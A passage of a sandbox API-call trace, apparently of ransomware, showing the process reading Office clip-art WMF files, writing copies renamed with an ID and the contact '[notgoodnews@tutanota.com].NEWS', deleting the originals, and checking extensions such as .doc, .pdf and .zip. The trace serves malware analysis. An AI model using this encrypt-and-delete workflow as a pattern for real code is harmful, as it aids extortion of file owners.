lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.855] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.855] SetEndOfFile (hFile=0x370) returned 1 [0187.855] CloseHandle (hObject=0x370) returned 1 [0187.856] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.856] SetEndOfFile (hFile=0x454) returned 1 [0187.859] CloseHandle (hObject=0x454) returned 1 [0187.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 1 [0187.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0187.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0187.861] lstrlenW (lpString=".doc") returned 4 [0187.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.861] lstrlenW (lpString=".docx") returned 5 [0187.861] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0187.861] lstrlenW (lpString=".pdf") returned 4 [0187.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.861] lstrlenW (lpString=".xls") returned 4 [0187.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.861] lstrlenW (lpString=".xlsx") returned 5 [0187.861] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0187.861] lstrlenW (lpString=".ppt") returned 4 [0187.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0187.861] lstrlenW (lpString=".zip") returned 4 [0187.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.862] lstrlenW (lpString=".rar") returned 4 [0187.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.862] lstrlenW (lpString=".bz2") returned 4 [0187.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.862] lstrlenW (lpString=".7z") returned 3 [0187.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0187.862] lstrlenW (lpString=".dbf") returned 4 [0187.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0187.862] lstrlenW (lpString=".1cd") returned 4 [0187.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0187.862] lstrlenW (lpString=".jpg") returned 4 [0187.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0187.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0187.862] lstrlenW (lpString=".doc") returned 4 [0187.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.862] lstrlenW (lpString=".docx") returned 5 [0187.862] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0187.862] lstrlenW (lpString=".pdf") returned 4 [0187.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.862] lstrlenW (lpString=".xls") returned 4 [0187.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.862] lstrlenW (lpString=".xlsx") returned 5 [0187.862] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0187.862] lstrlenW (lpString=".ppt") returned 4 [0187.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0187.862] lstrlenW (lpString=".zip") returned 4 [0187.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.862] lstrlenW (lpString=".rar") returned 4 [0187.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.862] lstrlenW (lpString=".bz2") returned 4 [0187.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.863] lstrlenW (lpString=".7z") returned 3 [0187.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0187.863] lstrlenW (lpString=".dbf") returned 4 [0187.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0187.863] lstrlenW (lpString=".1cd") returned 4 [0187.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0187.863] lstrlenW (lpString=".jpg") returned 4 [0187.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.863] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.863] lstrlenW (lpString="J0152608.WMF") returned 12 [0187.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.864] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=12436) returned 1 [0187.864] CloseHandle (hObject=0x454) returned 1 [0187.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 0x220 [0187.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.865] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.865] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0187.867] GetLastError () returned 0x0 [0187.867] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x3094, lpOverlapped=0x0) returned 1 [0187.869] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x30a0, lpOverlapped=0x0) returned 1 [0187.870] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.870] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.870] SetEndOfFile (hFile=0x370) returned 1 [0187.870] CloseHandle (hObject=0x370) returned 1 [0187.870] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.871] SetEndOfFile (hFile=0x454) returned 1 [0187.873] CloseHandle (hObject=0x454) returned 1 [0187.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 1 [0187.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0187.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0187.875] lstrlenW (lpString=".doc") returned 4 [0187.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.875] lstrlenW (lpString=".docx") returned 5 [0187.875] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0187.875] lstrlenW (lpString=".pdf") returned 4 [0187.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.875] lstrlenW (lpString=".xls") returned 4 [0187.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.875] lstrlenW (lpString=".xlsx") returned 5 [0187.875] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0187.875] lstrlenW (lpString=".ppt") returned 4 [0187.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0187.875] lstrlenW (lpString=".zip") returned 4 [0187.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.875] lstrlenW (lpString=".rar") returned 4 [0187.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.875] lstrlenW (lpString=".bz2") returned 4 [0187.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.875] lstrlenW (lpString=".7z") returned 3 [0187.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0187.876] lstrlenW (lpString=".dbf") returned 4 [0187.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0187.876] lstrlenW (lpString=".1cd") returned 4 [0187.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0187.876] lstrlenW (lpString=".jpg") returned 4 [0187.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0187.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0187.876] lstrlenW (lpString=".doc") returned 4 [0187.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.876] lstrlenW (lpString=".docx") returned 5 [0187.876] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0187.876] lstrlenW (lpString=".pdf") returned 4 [0187.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.876] lstrlenW (lpString=".xls") returned 4 [0187.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.876] lstrlenW (lpString=".xlsx") returned 5 [0187.876] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0187.876] lstrlenW (lpString=".ppt") returned 4 [0187.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0187.876] lstrlenW (lpString=".zip") returned 4 [0187.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.876] lstrlenW (lpString=".rar") returned 4 [0187.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.876] lstrlenW (lpString=".bz2") returned 4 [0187.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.876] lstrlenW (lpString=".7z") returned 3 [0187.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0187.877] lstrlenW (lpString=".dbf") returned 4 [0187.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0187.877] lstrlenW (lpString=".1cd") returned 4 [0187.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0187.877] lstrlenW (lpString=".jpg") returned 4 [0187.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.877] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.877] lstrlenW (lpString="J0152610.WMF") returned 12 [0187.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.952] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=5960) returned 1 [0187.952] CloseHandle (hObject=0x46c) returned 1 [0187.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 0x220 [0188.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.687] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.687] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0188.688] GetLastError () returned 0x0 [0188.688] ReadFile (in: hFile=0x518, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1748, lpOverlapped=0x0) returned 1 [0188.690] WriteFile (in: hFile=0x574, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1750, lpOverlapped=0x0) returned 1 [0188.692] ReadFile (in: hFile=0x518, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.692] WriteFile (in: hFile=0x574, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0188.692] SetEndOfFile (hFile=0x574) returned 1 [0188.692] CloseHandle (hObject=0x574) returned 1 [0188.692] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.692] SetEndOfFile (hFile=0x518) returned 1 [0188.696] CloseHandle (hObject=0x518) returned 1 [0188.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 1 [0188.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0188.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0188.698] lstrlenW (lpString=".doc") returned 4 [0188.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.698] lstrlenW (lpString=".docx") returned 5 [0188.698] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0188.698] lstrlenW (lpString=".pdf") returned 4 [0188.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.698] lstrlenW (lpString=".xls") returned 4 [0188.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.699] lstrlenW (lpString=".xlsx") returned 5 [0188.699] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0188.699] lstrlenW (lpString=".ppt") returned 4 [0188.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0188.699] lstrlenW (lpString=".zip") returned 4 [0188.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.699] lstrlenW (lpString=".rar") returned 4 [0188.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.699] lstrlenW (lpString=".bz2") returned 4 [0188.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.699] lstrlenW (lpString=".7z") returned 3 [0188.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0188.699] lstrlenW (lpString=".dbf") returned 4 [0188.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0188.699] lstrlenW (lpString=".1cd") returned 4 [0188.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0188.699] lstrlenW (lpString=".jpg") returned 4 [0188.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0188.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0188.700] lstrlenW (lpString=".doc") returned 4 [0188.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.700] lstrlenW (lpString=".docx") returned 5 [0188.700] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0188.700] lstrlenW (lpString=".pdf") returned 4 [0188.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.700] lstrlenW (lpString=".xls") returned 4 [0188.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.700] lstrlenW (lpString=".xlsx") returned 5 [0188.700] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0188.700] lstrlenW (lpString=".ppt") returned 4 [0188.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0188.700] lstrlenW (lpString=".zip") returned 4 [0188.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.700] lstrlenW (lpString=".rar") returned 4 [0188.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.700] lstrlenW (lpString=".bz2") returned 4 [0188.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.700] lstrlenW (lpString=".7z") returned 3 [0188.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0188.700] lstrlenW (lpString=".dbf") returned 4 [0188.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0188.700] lstrlenW (lpString=".1cd") returned 4 [0188.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0188.701] lstrlenW (lpString=".jpg") returned 4 [0188.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.701] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0188.701] lstrlenW (lpString="J0152694.WMF") returned 12 [0188.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.704] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1348) returned 1 [0188.704] CloseHandle (hObject=0x518) returned 1 [0188.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 0x220 [0188.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.706] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.706] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0188.707] GetLastError () returned 0x0 [0188.707] ReadFile (in: hFile=0x518, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x544, lpOverlapped=0x0) returned 1 [0188.709] WriteFile (in: hFile=0x574, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x550, lpOverlapped=0x0) returned 1 [0188.710] ReadFile (in: hFile=0x518, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.710] WriteFile (in: hFile=0x574, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, 